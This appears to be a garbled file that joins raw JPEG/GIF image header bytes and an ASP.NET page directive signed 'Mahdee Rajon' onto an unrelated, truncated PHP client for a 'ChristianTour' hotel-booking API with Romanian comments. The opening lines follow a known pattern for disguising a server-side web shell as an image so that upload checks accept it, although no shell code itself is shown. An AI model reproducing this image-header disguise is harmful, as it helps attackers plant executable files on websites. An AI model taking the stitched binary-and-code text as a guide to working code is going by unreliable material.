ÿØÿà JFIF    ÿÛ C     $.' ",#(7),01444'9=82<.342ÿÛ C  2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %> Mahdee Rajon
 ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- client = new Client([ 'base_uri' => 'https://api.sphinx2.christiantour.dev.ploi.imementohub.com/api/v1/', 'timeout' => 30, ]); $this->apiKey = config('connectors.christiantour.key'); // setat în config } public function getDestinations(int $page): array { $response = $this->client->get('static/destinations?page='.$page, [ 'headers' => [ 'Authorization' => 'Bearer ' . $this->apiKey, ], ]); return json_decode($response->getBody()->getContents(), true); } public function getHotels(int $page): array { $response = $this->client->get('static/hotels?page='.$page, [ 'headers' => [ 'Authorization' => 'Bearer ' . $this->apiKey, ], ]); return json_decode($response->getBody()->getContents(), true); } public function search(array $filters): array { try { $response = $this->client->post('hotels/search', [ 'headers' => [ 'Authorization' => 'Bearer ' . $this->apiKey, 'Accept' => 'application/json', ], 'json' => [ "check_in" => $filters['check_in'], "check_out" => $filters['check_out'], "destination_id" => $filters['destination_id'], "occupancy" => [ [ "adults" => $filters['adults'], "rooms" => $filters['rooms'], "children_ages" => $filters['children_ages'] ?? [], ] ], "currency" => "EUR", ], ]); $searchData = json_decode($response->getBody()->getContents(), true); } catch (\GuzzleHttp\Exception\ServerException $e) { // Log sau retry return []; // sau throw custom exception } $cursor = $searchData['cursor'] ?? null; if (!$cursor) { return []; } list($data, $nextCursor) = $this->getResults($cursor); return [$data, $cursor, $nextCursor]; } public function getResults($cursor, $maxRetries = 3, $retryDelay = 2): array { $allResults = []; $nextCursor = $cursor; while ($nextCursor) { $attempt = 0; $batchResults = []; while ($attempt < $maxRetries) { $attempt++; try { $resultsResponse = $this->client->get('hotels/results', [ 'headers' => [ 'Authorization' => 'Bearer ' . $this->apiKey, 'Accept' => 'application/json', ], 'query' => [ 'cursor' => $nextCursor, ], ]); $resultsData = json_decode($resultsResponse->getBody()->getContents(), true); $batchResults = $resultsData['data'] ?? []; $nextCursor = $resultsData['cursor'] ?? null; if (!empty($batchResults)) { $allResults = array_merge($allResults, $batchResults); break; // ieșim din retry loop dacă avem date } Log::warning("ChristianTour API - Fără date, retry #{$attempt} pentru cursor {$nextCursor}"); sleep($retryDelay); } catch (\GuzzleHttp\Exception\ServerException $e) { Log::error('ChristianTour API ServerException la getResults()', [ 'cursor' => $nextCursor, 'attempt' => $attempt, 'code' => $e->getCode(), 'message' => $e->getMessage(), 'response' => $e->hasResponse() ? (string) $e->getResponse()->getBody() : null, ]); sleep($retryDelay); } catch (\Exception $e) { Log::error('ChristianTour API Exception la getResults()', [ 'cursor' => $nextCursor, 'attempt' => $attempt, 'code' => $e->getCode(), 'message' => $e->getMessage(), ]); sleep($retryDelay); } } // dacă după 3 încercări tot nu avem rezultate pentru cursorul curent → mergem mai departe sau oprim if (empty($batchResults)) { Log::warning("ChristianTour API - Niciun rezultat după {$maxRetries} încercări pentru cursor {$nextCursor}"); break; } // dacă nu mai există un next cursor, terminăm bucla principală if (!$nextCursor) { break; } sleep($retryDelay); // delay între pagini succesive } if (empty($allResults)) { Log::warning('ChristianTour API - Niciun rezultat returnat după procesarea completă.', [ 'cursor' => $cursor, ]); return [[], null]; } return [$allResults, $nextCursor]; } public function verifyBook($offer_id) { try { $response = $this->client->get("hotels/verify", [ 'headers' => [ 'Authorization' => 'Bearer ' . $this->apiKey, 'Accept' => 'application/json', ], 'query' => [ 'offer_id' => $offer_id, ], ]); $data = json_decode($response->getBody()->getContents(), true)['data'] ?? null; } catch (\GuzzleHttp\Exception\ServerException $e) { // Log sau retry return null; // sau throw custom exception } if (!$data) return null; return $data; } }